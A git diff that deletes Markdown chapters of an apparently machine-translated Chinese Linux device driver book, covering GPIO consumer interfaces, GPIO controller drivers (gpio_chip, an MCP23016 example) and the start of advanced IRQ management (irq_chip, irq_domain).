的接口是什么,如何指定 GPIOs 取决于提供它们的控制器,尤其是其`#gpio-cells`属性,该属性决定了用于 GPIO 说明符的单元数量。GPIO 说明符至少包含控制器指针和一个或多个参数,其中参数的数量取决于提供 GPIO 的控制器的`#gpio-cells`属性。第一个单元通常是控制器上的 GPIO 偏移量,第二个单元代表 GPIO 标志。 - -GPIO 属性应命名为`[-]gpios]`,其中``是该设备的 GPIO 目的。请记住,这个规则对于基于描述符的接口来说是必须的,并且变成了`-gpios`(注意没有方括号,这意味着``前缀是强制性的): - -```sh -gpio1: gpio1 { - gpio-controller; - #gpio-cells = <2>; -}; -gpio2: gpio2 { - gpio-controller; - #gpio-cells = <1>; -}; -[...] - -cs-gpios = <&gpio1 17 0>, - <&gpio2 2>; - <0>, /* holes are permitted, means no GPIO 2 */ - <&gpio1 17 0>; - -reset-gpios = <&gpio1 30 0>; -cd-gpios = <&gpio2 10>; -``` - -在前面的示例中,CS GPIOs 包含控制器-1 和控制器-2 gpio。如果不需要在列表中给定的索引处指定 GPIO,可以使用`<0>`。复位 GPIO 有两个单元(控制器指针后有两个参数),而 CD GPIO 只有一个单元。你可以看到我给我的 GPIO 说明符取的名字有多有意义。 - -# 传统的基于整数的接口和设备树 - -此接口依赖于以下标头: - -```sh -#include -``` - -当您需要使用传统的基于整数的接口从驱动中支持 DT 时,您应该记住两个函数;这些是`of_get_named_gpio()`和`of_get_named_gpio_count()`: - -```sh -int of_get_named_gpio(struct device_node *np, - const char *propname, int index) -int of_get_named_gpio_count(struct device_node *np, - const char* propname) -``` - -给定一个设备节点,前者返回位于`index`位置的属性`*propname`的 GPIO 号。第二个只是返回属性中指定的 GPIOs 数量: - -```sh -int n_gpios = of_get_named_gpio_count(dev.of_node, - "cs-gpios"); /* return 4 */ -int second_gpio = of_get_named_gpio(dev.of_node, "cs-gpio", 1); -int rst_gpio = of_get_named_gpio("reset-gpio", 0); -gpio_request(second_gpio, "my-gpio); -``` - -仍有驱动支持旧说明符,其中 GPIO 属性被命名为`[-gpio`或`gpios`。在这种情况下,应该使用未命名的 API 版本,通过`of_get_gpio()`和`of_gpio_count()`: - -```sh -int of_gpio_count(struct device_node *np) -int of_get_gpio(struct device_node *np, int index) -``` - -DT 节点看起来像: - -```sh -my_node@addr { - compatible = "[...]"; - - gpios = <&gpio1 2 0>, /* INT */ - <&gpio1 5 0>; /* RST */ - [...] -}; -``` - -驱动中的代码如下所示: - -```sh -struct device_node *np = dev->of_node; - -if (!np) - return ERR_PTR(-ENOENT); - -int n_gpios = of_gpio_count(); /* Will return 2 */ -int gpio_int = of_get_gpio(np, 0); -if (!gpio_is_valid(gpio_int)) { - dev_err(dev, "failed to get interrupt gpio\n"); - return ERR_PTR(-EINVAL); -} - -gpio_rst = of_get_gpio(np, 1); -if (!gpio_is_valid(pdata->gpio_rst)) { - dev_err(dev, "failed to get reset gpio\n"); - return ERR_PTR(-EINVAL); -} -``` - -可以通过重写第一个驱动(基于整数的接口的驱动)来总结这一点,以便符合平台驱动结构,并使用 DT API: - -```sh -#include -#include -#include -#include /* For platform devices */ -#include /* For IRQ */ -#include /* For Legacy integer based GPIO */ -#include /* For of_gpio* functions */ -#include /* For DT*/ - -/* - * Let us consider the following node - * - * foo_device { - * compatible = "packt,gpio-legacy-sample"; - * led-gpios = <&gpio2 15 GPIO_ACTIVE_HIGH>, // red - * <&gpio2 16 GPIO_ACTIVE_HIGH>, // green - * - * btn1-gpios = <&gpio2 1 GPIO_ACTIVE_LOW>; - * btn2-gpios = <&gpio2 1 GPIO_ACTIVE_LOW>; - * }; - */ - -static unsigned int gpio_red, gpio_green, gpio_btn1, gpio_btn2; -static unsigned int irq; - -static irq_handler_t btn1_pushed_irq_handler(unsigned int irq, void *dev_id, - struct pt_regs *regs) -{ - /* The content of this function remains unchanged */ - [...] -} - -static const struct of_device_id gpio_dt_ids[] = { - { .compatible = "packt,gpio-legacy-sample", }, - { /* sentinel */ } -}; - -static int my_pdrv_probe (struct platform_device *pdev) -{ - int retval; - struct device_node *np = &pdev->dev.of_node; - - if (!np) - return ERR_PTR(-ENOENT); - - gpio_red = of_get_named_gpio(np, "led", 0); - gpio_green = of_get_named_gpio(np, "led", 1); - gpio_btn1 = of_get_named_gpio(np, "btn1", 0); - gpio_btn2 = of_get_named_gpio(np, "btn2", 0); - - gpio_request(gpio_green, "green-led"); - gpio_request(gpio_red, "red-led"); - gpio_request(gpio_btn1, "button-1"); - gpio_request(gpio_btn2, "button-2"); - - /* Code to configure GPIO and request IRQ remains unchanged */ - [...] - return 0; -} - -static void my_pdrv_remove(struct platform_device *pdev) -{ - /* The content of this function remains unchanged */ - [...] -} - -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = "gpio_legacy_sample", - .of_match_table = of_match_ptr(gpio_dt_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); - -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -# 设备树中到 IRQ 的 GPIO 映射 - -人们可以很容易地在设备树中将 GPIO 映射到 IRQ。两个属性用于指定中断: - -* `interrupt-parent`:这是 GPIO 的 GPIO 控制器 -* `interrupts`:这是中断说明符列表 - -这适用于传统的和基于描述符的接口。IRQ 说明符取决于提供该 GPIO 的 GPIO 控制器的`#interrupt-cell`属性。`#interrupt-cell`确定指定中断时使用的单元数量。通常,第一个单元代表映射到一个 IRQ 的 GPIO 号,第二个单元代表应该触发中断的电平/边沿。在任何情况下,中断说明符总是依赖于它的父级(设置了中断控制器的那一级),所以请参考内核源代码中的绑定文档: - -```sh -gpio4: gpio4 { - gpio-controller; - #gpio-cells = <2>; - interrupt-controller; - #interrupt-cells = <2>; -}; - -my_label: node@0 { - reg = <0>; - spi-max-frequency = <1000000>; - interrupt-parent = <&gpio4>; - interrupts = <29 IRQ_TYPE_LEVEL_LOW>; -}; -``` - -获得相应的 IRQ 有两种解决方案: - -1. **您的设备位于已知的总线(I2C 或 SPI)** 上:将为您完成 IRQ 映射,并通过赋予您的`probe()`功能的`struct i2c_client`或`struct spi_device`结构(通过`i2c_client.irq`或`spi_device.irq`实现)。 -2. **你的设备坐在伪平台总线**:`probe()`功能会被赋予一个`struct platform_device`,你可以在上面调用`platform_get_irq()`: - -```sh -int platform_get_irq(struct platform_device *dev, unsigned int num); -``` - -随意看看[第六章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)、*设备树的概念*。 - -# GPIO 和 sysfs - -sysfs GPIO 接口让人们可以通过集合或文件来管理和控制 GPIOs。位于`/sys/class/gpio`下方。这里大量使用设备模型,有三种条目可用: - -* `/sys/class/gpio/:`这是一切开始的地方。该目录包含两个特殊文件,`export`和`unexport`: - * `export`:这允许我们要求内核通过将给定 GPIO 的编号写入这个文件来将它的控制权导出到用户空间。示例:`echo 21 > export`将为 GPIO #21 创建一个 GPIO21 节点,如果内核代码没有请求的话。 - * `unexport`:这会反转导出到用户空间的效果。示例:`echo 21 > unexport`将删除使用导出文件导出的任何 GPIO21 节点。 -* `/sys/class/gpio/gpioN/`:该目录对应于 GPIO 号 N(其中 N 是系统全局的,而不是相对于芯片),使用`export`文件导出,或者从内核内部导出。例如:`/sys/class/gpio/gpio42/`(针对 GPIO #42),具有以下读/写属性: - * `direction`文件用于获取/设置 GPIO 方向。允许的值是`in`或`out`字符串。通常可以写入该值。写为输出默认将值初始化为低。为了确保无毛刺操作,可以写入低和高值,以将 GPIO 配置为具有该初始值的输出。如果内核代码已经导出了该 GPIO,禁用方向(参见`gpiod_export()`或`gpio_export()`功能),则该属性将不存在。 - * `value`属性让我们根据方向、输入或输出来获取/设置 GPIO 线的状态。如果 GPIO 被配置为输出,则写入的任何非零值都将被视为高状态。如果配置为输出,写入`0`会将输出设置为低,而`1`会将输出设置为高。如果该引脚可以被配置为中断生成线路,并且如果它已经被配置为生成,则可以在该文件上调用`poll(2)`系统调用,`poll(2)`将在中断被触发时返回。使用`poll(2)`将需要设置事件`POLLPRI`和`POLLERR`。如果用`select(2)`代替,应该在`exceptfds`中设置文件描述符。`poll(2)`返回后,要么`lseek(2)`回到 sysfs 文件的开头读取新值,要么关闭文件重新打开读取值。这与我们讨论的关于可轮询 sysfs 属性的原理相同。 - * `edge`确定让`poll()`或`select()`功能返回的信号沿。允许值为`none`、`rising`、`falling`或`both`。该文件是可读/可写的,并且仅当引脚可以配置为产生中断的输入引脚时才存在。 - * `active_low`为 0(假)或 1(真)。写入任何非零值将反转读取和写入的*值*属性。通过上升沿和下降沿的边缘属性,现有的和后续的`poll(2)`支持配置将遵循此设置。从内核设置该值的相关函数是`gpio_sysf_set_active_low()`。 - -# 从内核代码导出 GPIO - -除了使用`/sys/class/gpio/export`文件将 GPIO 导出到用户空间之外,还可以使用内核代码中的`gpio_export`(用于旧接口)或`gpioD_export`(新接口)等功能,以明确管理已经使用`gpio_request()`或`gpiod_get()`请求的 GPIO 的导出: - -```sh -int gpio_export(unsigned gpio, bool direction_may_change); - -int gpiod_export(struct gpio_desc *desc, bool direction_may_change); -``` - -`direction_may_change`参数决定是否可以将信号方向从输入改变为输出,反之亦然。内核的反向操作是`gpio_unexport()`或`gpiod_unexport():` - -```sh -void gpio_unexport(unsigned gpio); /* Integer-based interface */ -void gpiod_unexport(struct gpio_desc *desc) /* Descriptor-based */ -``` - -导出后,可以使用`gpio_export_link()`(或基于描述符的接口的`gpiod_export_link()`)从 sysfs 中的其他地方创建符号链接,该链接将指向 GPIO sysfs 节点。驱动可以使用它在 sysfs 中为自己设备下的接口提供一个描述性名称: - -```sh -int gpio_export_link(struct device *dev, const char *name, - unsigned gpio) -int gpiod_export_link(struct device *dev, const char *name, - struct gpio_desc *desc) -``` - -可以在基于描述符的接口的`probe()`函数中使用这个,如下所示: - -```sh -static struct gpio_desc *red, *green, *btn1, *btn2; - -static int my_pdrv_probe (struct platform_device *pdev) -{ - [...] - red = gpiod_get_index(dev, "led", 0, GPIOD_OUT_LOW); - green = gpiod_get_index(dev, "led", 1, GPIOD_OUT_LOW); - - gpiod_export(&pdev->dev, "Green_LED", green); - gpiod_export(&pdev->dev, "Red_LED", red); - - [...] - return 0; -} -``` - -对于基于整数的接口,代码如下所示: - -```sh -static int my_pdrv_probe (struct platform_device *pdev) -{ - [...] - - gpio_red = of_get_named_gpio(np, "led", 0); - gpio_green = of_get_named_gpio(np, "led", 1); - [...] - - int gpio_export_link(&pdev->dev, "Green_LED", gpio_green) - int gpio_export_link(&pdev->dev, "Red_LED", gpio_red) - return 0; -} -``` - -# 摘要 - -从内核内部处理 GPIO 是一项简单的任务,如本章所示。讨论了传统接口和新接口,为编写增强的 GPIO 驱动提供了选择适合您需求的接口的可能性。您将能够处理映射到 GPIOs 的 IRQ。下一章将讨论提供和暴露 GPIO 线的芯片,称为 GPIO 控制器。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/15.md b/docs/linux-device-driver-dev/15.md deleted file mode 100644 index 3416998c..00000000 --- a/docs/linux-device-driver-dev/15.md +++ /dev/null @@ -1,212 +0,0 @@ -# 十五、通用输入输出控制器驱动——通用输入输出芯片 - -在前一章中,我们讨论了 GPIO 线。这些线路通过一种称为 GPIO 控制器的特殊设备暴露在系统中。本章将逐步解释如何为这类设备编写驱动,从而涵盖以下主题: - -* GPIO 控制器驱动架构和数据结构 -* 用于 GPIO 控制器的 Sysfs 接口 -* 数据传输中的通用输入输出控制器表示 - -# 驱动架构和数据结构 - -此类设备的驱动应提供: - -* 建立 GPIO 方向(输入和输出)的方法。 -* 用于访问 GPIO 值的方法(获取和设置)。 -* 方法将给定的 GPIO 映射到 IRQ 并返回关联的数字。 -* 表示对其方法的调用是否可以休眠的标志,这非常重要。 -* 可选的`debugfs dump`方法(显示额外的状态,如上拉配置)。 -* 称为基数的可选数字,GPIO 编号应从该数字开始。如果省略,它将被自动分配。 - -在内核中,GPIO 控制器被表示为`struct gpio_chip`的一个实例,在`linux/gpio/driver.h`中定义: - -```sh -struct gpio_chip { - const char *label; - struct device *dev; - struct module *owner; - - int (*request)(struct gpio_chip *chip, unsigned offset); - void (*free)(struct gpio_chip *chip, unsigned offset); - int (*get_direction)(struct gpio_chip *chip, unsigned offset); - int (*direction_input)(struct gpio_chip *chip, unsigned offset); - int (*direction_output)(struct gpio_chip *chip, unsigned offset, - int value); - int (*get)(struct gpio_chip *chip,unsigned offset); - void (*set)(struct gpio_chip *chip, unsigned offset, int value); - void (*set_multiple)(struct gpio_chip *chip, unsigned long *mask, - unsigned long *bits); - int (*set_debounce)(struct gpio_chip *chip, unsigned offset, - unsigned debounce); - - int (*to_irq)(struct gpio_chip *chip, unsigned offset); - - int base; - u16 ngpio; - const char *const *names; - bool can_sleep; - bool irq_not_threaded; - bool exported; - -#ifdef CONFIG_GPIOLIB_IRQCHIP - /* - * With CONFIG_GPIOLIB_IRQCHIP we get an irqchip - * inside the gpiolib to handle IRQs for most practical cases. - */ - struct irq_chip *irqchip; - struct irq_domain *irqdomain; - unsigned int irq_base; - irq_flow_handler_t irq_handler; - unsigned int irq_default_type; -#endif - -#if defined(CONFIG_OF_GPIO) - /* - * If CONFIG_OF is enabled, then all GPIO controllers described in the - * device tree automatically may have an OF translation - */ - struct device_node *of_node; - int of_gpio_n_cells; - int (*of_xlate)(struct gpio_chip *gc, - const struct of_phandle_args *gpiospec, u32 *flags); -} -``` - -以下是结构中每个柠檬的含义: - -* `request`是芯片特定激活的可选钩子。如果提供,则每当调用`gpio_request()`或`gpiod_get()`时,在分配 GPIO 之前执行。 -* `free`是芯片专用去激活的可选钩子。如果提供,则每当调用`gpiod_put()`或`gpio_free()`时,在释放 GPIO 之前执行。 -* 每当需要知道 GPIO `offset`的方向时,就会执行`get_direction`。返回值应为 0 表示出,1 表示入,(与`GPIOF_DIR_XXX`相同),或者为负误差。 -* `direction_input`将信号`offset`配置为输入,否则返回错误。 -* `get`返回 GPIO `offset`的值;对于输出信号,这将返回实际检测到的值或零。 -* `set`将输出值分配给 GPIO `offset`。 -* 当需要为`mask`定义的多个信号分配输出值时,调用`set_multiple`。如果没有提供,内核将安装一个通用钩子,遍历`mask`位并在每个位集上执行`chip->set(i)`。 - -请参阅以下内容,了解如何实现该功能: - -```sh - static void gpio_chip_set_multiple(struct gpio_chip *chip, - unsigned long *mask, unsigned long *bits) -{ - if (chip->set_multiple) { - chip->set_multiple(chip, mask, bits); - } else { - unsigned int i; - - /* set outputs if the corresponding mask bit is set */ - for_each_set_bit(i, mask, chip->ngpio) - chip->set(chip, i, test_bit(i, bits)); - } -} -``` - -* `set_debounce`如果控制器支持,这个钩子是一个可选的回调,用于为指定的 GPIO 设置去抖时间。 -* `to_irq`是提供 GPIO 到 IRQ 映射的可选钩子。每当要执行`gpio_to_irq()`或`gpiod_to_irq()`功能时,都会调用这个函数。此实现可能不会休眠。 -* `base`标识该芯片处理的第一个 GPIO 号;或者,如果在注册期间为负,内核将自动(动态)分配一个。 -* `ngpio`是该控制器提供的 GPIOs 数量,从`base`开始,到`(base + ngpio - 1)`结束。 -* `names`,如果设置,必须是字符串数组,用作该芯片中 GPIOs 的替代名称。数组必须是`ngpio`大小,任何不需要别名的 GPIO 都可以将其条目设置为数组中的`NULL`。 -* `can_sleep`是一个布尔标志,如果`get()` / `set()`方法可能休眠,则设置该标志。GPIO 控制器(也称为扩展器)位于总线上就是这种情况,例如 I2C 或 SPI,其访问可能会导致睡眠。这意味着,如果芯片支持 IRQ,这些 IRQ 需要线程化,因为芯片访问可能会休眠,例如在读取 IRQ 状态寄存器时。对于映射到内存(SoC 的一部分)的 GPIO 控制器,这可以设置为 false。 -* `irq_not_threaded`是布尔标志,如果设置了`can_sleep`,则必须设置,但是 IRQs 不需要线程化。 - -Each chip exposes a number of signals, identified in method calls by offset values in the range 0 (`ngpio - 1`). When those signals are referenced through calls like `gpio_get_value(gpio)`, the offset is calculated by subtracting base from the GPIO number. - -在定义了每个回调并设置了其他字段之后,应该在配置的`struct gpio_chip`结构上调用`gpiochip_add()`,以便向内核注册控制器。说到注销,使用`gpiochip_remove()`。仅此而已。您可以看到编写自己的 GPIO 控制器驱动是多么容易。在图书资源库中,您将找到一个工作正常的 GPIO 控制器驱动,用于微芯片的 MCP23016 I2C 输入/输出扩展器,其数据表可在[http://ww1.microchip.com/downloads/en/DeviceDoc/20090C.pdf](http://ww1.microchip.com/downloads/en/DeviceDoc/20090C.pdf)获得。 - -要编写这样的驱动,您应该包括: - -```sh -#include -``` - -以下是我们为控制器编写的驱动的摘录,只是为了向您展示编写 GPIO 控制器驱动的任务有多简单: - -```sh -#define GPIO_NUM 16 -struct mcp23016 { - struct i2c_client *client; - struct gpio_chip chip; -}; - -static int mcp23016_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - struct mcp23016 *mcp; - - if (!i2c_check_functionality(client->adapter, - I2C_FUNC_SMBUS_BYTE_DATA)) - return -EIO; - - mcp = devm_kzalloc(&client->dev, sizeof(*mcp), GFP_KERNEL); - if (!mcp) - return -ENOMEM; - - mcp->chip.label = client->name; - mcp->chip.base = -1; - mcp->chip.dev = &client->dev; - mcp->chip.owner = THIS_MODULE; - mcp->chip.ngpio = GPIO_NUM; /* 16 */ - mcp->chip.can_sleep = 1; /* may not be accessed from actomic context */ - mcp->chip.get = mcp23016_get_value; - mcp->chip.set = mcp23016_set_value; - mcp->chip.direction_output = mcp23016_direction_output; - mcp->chip.direction_input = mcp23016_direction_input; - mcp->client = client; - i2c_set_clientdata(client, mcp); - - return gpiochip_add(&mcp->chip); -} -``` - -要从控制器驱动中请求自有的 GPIO,不应使用`gpio_request()`。GPIO 驱动可以使用以下函数来请求和释放描述符,而不必永远固定在内核上: - -```sh -struct gpio_desc *gpiochip_request_own_desc(struct gpio_desc *desc, const char *label) -void gpiochip_free_own_desc(struct gpio_desc *desc) -``` - -用`gpiochip_request_own_desc()`请求的描述符必须用`gpiochip_free_own_desc()`发布。 - -# 引脚控制器指南 - -根据为其编写驱动的控制器,您可能需要实现一些引脚控制操作来处理引脚多路复用、配置等: - -* 对于一个只能做简单 GPIO 的管脚控制器,一个简单的`struct gpio_chip`就足够处理了。不需要设置`struct pinctrl_desc`结构,只需要把 GPIO 控制器驱动写成它就可以了。 -* 如果控制器能够在 GPIO 功能的基础上产生中断,必须设置一个`struct irq_chip`并注册到 IRQ 子系统。 -* 对于具有引脚多路复用、高级引脚驱动强度、复杂偏置的控制器,应设置以下三个接口: - * `struct gpio_chip`,本章前面讨论过 - * `struct irq_chip`,下一章讨论([第 16 章](http://advanced)、*高级 IRQ 管理* - * `struct pinctrl_desc`,书中没有讨论,但在*Documentation/pinctrl . txt*的内核文档中有很好的解释 - -# GPIO 控制器的 Sysfs 接口 - -成功`gpiochip_add()`后,将创建一个路径类似`/sys/class/gpio/gpiochipX/`的目录条目,其中`X`是 GPIO 控制器库(从`#X`开始提供 GPIO 的控制器),具有以下属性: - -* `base`,其值与`X`相同,对应`gpio_chip.base`(如果静态赋值),是该芯片管理的第一个 GPIO。 -* `label`,用于诊断(不总是唯一的)。 -* `ngpio`,告知该控制器提供多少个 GPIOs】)。这与`gpio_chip.ngpios`中的定义相同。 - -所有上述属性都是只读的。 - -# GPIO 控制器和 DT - -DT 中声明的每个 GPIO 控制器都必须设置布尔属性`gpio-controller`。一些控制器提供映射到 GPIO 的 IRQ。在这种情况下,属性`interrupt-cells`也应该设置,通常使用`2`,但这取决于需要。第一个单元是引脚号,第二个单元代表中断标志。 - -`gpio-cells`应设置为标识有多少个单元用于描述一个 GPIO 说明符。一个通常使用`<2>`,第一个单元格标识 GPIO 号,第二个用于标志。实际上,大多数非内存映射的 GPIO 控制器不使用标志: - -```sh -expander_1: mcp23016@27 { - compatible = "microchip,mcp23016"; - interrupt-controller; - gpio-controller; - #gpio-cells = <2>; - interrupt-parent = <&gpio6>; - interrupts = <31 IRQ_TYPE_LEVEL_LOW>; - reg = <0x27>; - #interrupt-cells=<2>; -}; -``` - -前面的例子是我们的 GPIO-controller 设备的节点,完整的设备驱动提供了这本书的源代码。 - -# 摘要 - -本章不仅仅是为您可能遇到的 GPIO 控制器编写驱动的基础。它解释了描述这种设备的主要结构。下一章涉及高级 IRQ 管理,我们将在其中看到如何管理中断控制器,从而在微芯片的 MCP23016 扩展器的驱动中添加此类功能。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/16.md b/docs/linux-device-driver-dev/16.md deleted file mode 100644 index 93bab77c..00000000 --- a/docs/linux-device-driver-dev/16.md +++ /dev/null @@ -1,676 +0,0 @@ -# 十六、高级内部评级管理 - -Linux 是一个系统,在这个系统上,设备通过 IRQ 向内核通知特定的事件。中央处理器公开连接的设备使用或不使用的 IRQ 线,这样当设备需要中央处理器时,它会向中央处理器发送请求。当中央处理器收到这个请求时,它会停止它的实际工作并保存它的上下文,以便为设备发出的请求提供服务。为设备提供服务后,其状态会恢复到中断发生时的停止状态。IRQ 线太多了,另一个设备要对 CPU 负责。该设备是中断控制器: - -![](img/00035.gif) - -Interrupt controller and IRQ lines - -设备不仅可以引发中断,一些处理器操作也可以。有两种不同类型的中断: - -1. 同步中断称为**异常**,由 CPU 在处理指令时产生。这些是**不可屏蔽中断** ( **NMI** ),由硬件故障等严重故障引起。它们总是由中央处理器处理。 -2. 异步中断称为**中断**,由其他硬件设备发出。这些是正常且可屏蔽的中断。这是我们将在本章下一节讨论的内容。因此,让我们更深入地探讨异常: - -异常是内核处理的编程错误的结果,内核向程序发送信号并试图从错误中恢复。这些被分为两类,列举如下: - -* **处理器检测到的异常**:中央处理器为响应异常情况而产生的异常,分为三组: - * 通常可以纠正的故障(虚假指令)。 - * 陷阱发生在用户进程中(无效内存访问,被零除),也是一种响应系统调用切换到内核模式的机制。如果内核代码确实导致陷阱,它会立即恐慌。 - * 中止,严重错误。 -* **编程异常**:这些是程序员请求的,像陷阱一样处理。 - -以下数组列出了不可屏蔽的中断(更多详情请参考[http://wiki.osdev.org/Exceptions](http://wiki.osdev.org/Exceptions)): - -| **中断号** | **描述** | -| Zero | 除以零误差 | -| one | 除错例外 | -| Two | NMI 中断 | -| three | 断点 | -| four | 检测到溢出 | -| five | 超出界限范围 | -| six | 无效操作码 | -| seven | 协处理器(设备)不可用 | -| eight | 两次发球失误 | -| nine | 协处理器段溢出 | -| Ten | 无效的任务状态段 | -| Eleven | 段不存在 | -| Twelve | 堆栈故障 | -| Thirteen | 一般保护故障 | -| Fourteen | 页面错误 | -| Fifteen | 内向的; 寡言少语的; 矜持的 | -| Sixteen | 协处理器错误 | -| 17 - 31 | 内向的; 寡言少语的; 矜持的 | -| 32 - 255 | 可屏蔽中断 | - -nmi 足以覆盖整个例外列表。回到可屏蔽中断,它们的数量取决于连接的设备数量,以及它们实际上如何共享这些 IRQ 线路。有时,它们还不够,其中一些需要多路复用。常用的方法是通过 GPIO 控制器,它也充当中断控制器。在这一章中,我们将讨论内核提供的管理 IRQ 的应用编程接口,以及实现多路复用的方法,并在中断控制器驱动编写中进行深入探讨。 - -也就是说,本章将涵盖以下主题: - -* 中断控制器和中断多路复用 -* 高级外设 IRQ 管理 -* 中断请求和传播(链式或嵌套) -* gpiolib irqchip api -* 处理来自 DT 的中断控制器 - -# 多路复用中断和中断控制器 - -中央处理器只有一次中断通常是不够的。大多数系统都有几十个甚至几百个。现在来了中断控制器,允许它们被多路复用。架构或特定平台通常提供特定的设施,例如: - -* 屏蔽/取消屏蔽单个中断 -* 设定优先级 -* SMP 关联性 -* 像唤醒中断这样奇特的事情 - -IRQ 管理和中断控制器驱动都依赖于 IRQ 域,而 IRQ 域又建立在以下结构之上: - -* `struct irq_chip`:这个结构实现了一套描述如何驱动中断控制器的方法,并且是由核心 IRQ 代码直接调用的。 -* `struct irqdomain`结构,提供: - * 给定中断控制器(fwnode)的固件节点指针 - * 一种将一个中断请求的固件描述转换成该中断控制器本地标识的方法 - * 一种从 hwirq 中检索 IRQ 的 Linux 视图的方法 -* `struct irq_desc`:这个结构是 Linux 对一个中断的看法,包含所有的核心内容,并且一对一的映射到 Linux 中断号 -* `struct irq_action`:这个结构 Linux 用来描述一个 IRQ 处理程序 -* `struct irq_data`:嵌入在`struct irq_desc`结构中,包含: - * 与管理该中断的`irq_chip`相关的数据 - * Linux IRQ 号和 hwirq - * 指向`irq_chip`的指针 - -几乎每一次`irq_chip`调用都会给出一个`irq_data`作为参数,从中可以得到相应的`irq_desc`。 - -所有前面的结构都是 IRQ 域 API 的一部分。中断控制器在内核中由`struct irq_chip`结构的实例表示,该实例描述了实际的硬件设备,以及 IRQ 内核使用的一些方法: - -```sh -struct irq_chip { - struct device *parent_device; - const char *name; - void (*irq_enable)(struct irq_data *data); - void (*irq_disable)(struct irq_data *data); - - void (*irq_ack)(struct irq_data *data); - void (*irq_mask)(struct irq_data *data); - void (*irq_unmask)(struct irq_data *data); - void (*irq_eoi)(struct irq_data *data); - - int (*irq_set_affinity)(struct irq_data *data, const struct cpumask *dest, bool force); - int (*irq_retrigger)(struct irq_data *data); - int (*irq_set_type)(struct irq_data *data, unsigned int flow_type); - int (*irq_set_wake)(struct irq_data *data, unsigned int on); - - void (*irq_bus_lock)(struct irq_data *data); - void (*irq_bus_sync_unlock)(struct irq_data *data); - - int (*irq_get_irqchip_state)(struct irq_data *data, enum irqchip_irq_state which, bool *state); - int(*irq_set_irqchip_state)(struct irq_data *data, enum irqchip_irq_state which, bool state); - - unsigned long flags; -}; -``` - -以下是结构中元素的含义: - -* `parent_device`:这是一个指向这个 irqchip 的父级的指针。 -* `name`:这是`/proc/interrupts`文件的名字。 -* `irq_enable`:该钩子使能中断,如果`NULL`,其默认值为`chip->unmask`。 -* `irq_disable`:这将禁用中断。 -* ***** `irq_ack`:这是新中断的开始。有些控制器不需要这个。Linux 在中断被引发时就调用这个函数,远在它被服务之前。一些实现将该功能映射到`chip->disable()`,使得线路上的另一个中断请求不会导致另一个中断,直到当前中断请求被服务之后。 -* `irq_mask`:这是硬件中屏蔽中断源的钩子,这样就不能再引发了。 -* `irq_unmask`:这个钩子取消了中断源的屏蔽。 -* `irq_eoi` : eoi 代表**中断结束**。Linux 在 IRQ 服务完成后立即调用这个钩子。为了在该线路上接收另一个中断请求,可以根据需要使用该功能重新配置控制器。一些实现将此功能映射到`chip->enable()`以反转在`chip->ack()`完成的操作。 -* `irq_set_affinity`:这仅在 SMP 机器上设置 CPU 关联性。在 SMP 环境中,该函数设置中断服务的 CPU。该功能不用于单处理器机器。 -* `irq_retrigger`:这将重新触发硬件中的中断,这将向中央处理器重新发送一个 IRQ。 -* `irq_set_type`:设置一个 IRQ 的流类型(IRQ_TYPE_LEVEL/等等)。 -* `irq_set_wake`:这将启用/禁用 IRQ 的电源管理唤醒。 -* `irq_bus_lock`:用于锁定对慢速总线(I2C)芯片的访问。在这里锁定互斥就足够了。 -* `irq_bus_sync_unlock`:用于同步和解锁慢速总线(I2C)芯片。解锁先前锁定的互斥体。 -* `irq_get_irqchip_state`和`irq_set_irqchip_state`:分别返回或设置中断的内部状态。 - -每个中断控制器都有一个域,对于控制器来说,这个域就是一个进程的地址空间(参见[第 11 章](http://kernel)、*内核内存管理*)。中断控制器域在内核中被描述为`struct irq_domain`结构的一个实例。它管理硬件 IRQ 和 Linux IRQ(即虚拟 IRQ)之间的映射。它是硬件中断号转换对象: - -```sh -struct irq_domain { - const char *name; - const struct irq_domain_ops *ops; - void *host_data; - unsigned int flags; - - /* Optional data */ - struct fwnode_handle *fwnode; - [...] -}; -``` - -* `name`是中断域的名称。 -* `ops`是 irq_domain 方法的指针。 -* `host_data`是所有者使用的私有数据指针。irqdomain 核心代码未触及。 -* `flags`是每个`irq_domain`标志的主机。 -* `fwnode`可选。它是一个指向与`irq_domain`相关联的 DT 节点的指针。解码 DT 中断说明符时使用。 - -中断控制器驱动通过调用其中一个`irq_domain_add_()`函数来创建和注册`irq_domain`,其中``是 hwirq 应该映射到 Linux IRQ 的方法。这些是: - -1. `irq_domain_add_linear()`:这使用一个由 hwirq 编号索引的固定大小的表。当一个 hwirq 被映射时,一个`irq_desc`被分配给 hwirq,并且 irq 号被存储在表中。这种线性映射适用于固定和少量的 hwirq (~ < 256)。这种映射的不便之处在于表的大小,尽可能大的 hwirq 数。因此,IRQ 号码查找时间是固定的,`irq_desc`仅分配给在用 IRQ。大多数司机应该使用线性地图。该函数具有以下原型: - -```sh -struct irq_domain *irq_domain_add_linear(struct device_node *of_node, - unsigned int size, - const struct irq_domain_ops *ops, - void *host_data) -``` - -2. `irq_domain_add_tree()`:这是`irq_domain`维护基数树中 Linux IRQs 和 hwirq 号之间的映射的地方。当一个 hwirq 被映射时,一个`irq_desc`被分配,并且 hwirq 被用作基数树的查找关键字。如果 hwirq 数量非常大,树形图是一个很好的选择,因为它不需要分配与最大 hwirq 数量一样大的表。缺点是 hwirq 到 irq 号码的查找取决于表中有多少条目。很少有驱动需要这种映射。它有以下原型: - -```sh -struct irq_domain *irq_domain_add_tree(struct device_node *of_node, - const struct irq_domain_ops *ops, - void *host_data) -``` - -3. `irq_domain_add_nomap()`:你大概永远不会用这个方法。尽管如此,它的完整描述可以在内核源代码树的*文档/IRQ-domain.txt* 中找到。它的原型是: - -```sh -struct irq_domain *irq_domain_add_nomap(struct device_node *of_node, - unsigned int max_irq, - const struct irq_domain_ops *ops, - void *host_data) -``` - -`of_node`是中断控制器 DT 节点的指针。`size`表示域中中断的数量。`ops`代表映射/取消映射域回调,`host_data`是控制器的私有数据指针。 - -由于 IRQ 域在创建时开始为空(没有映射),您应该使用`irq_create_mapping()`函数来创建映射并将其分配给域。在下一节中,我们将决定在代码中创建映射的正确位置: - -```sh -unsigned int irq_create_mapping(struct irq_domain *domain, - irq_hw_number_t hwirq) -``` - -* 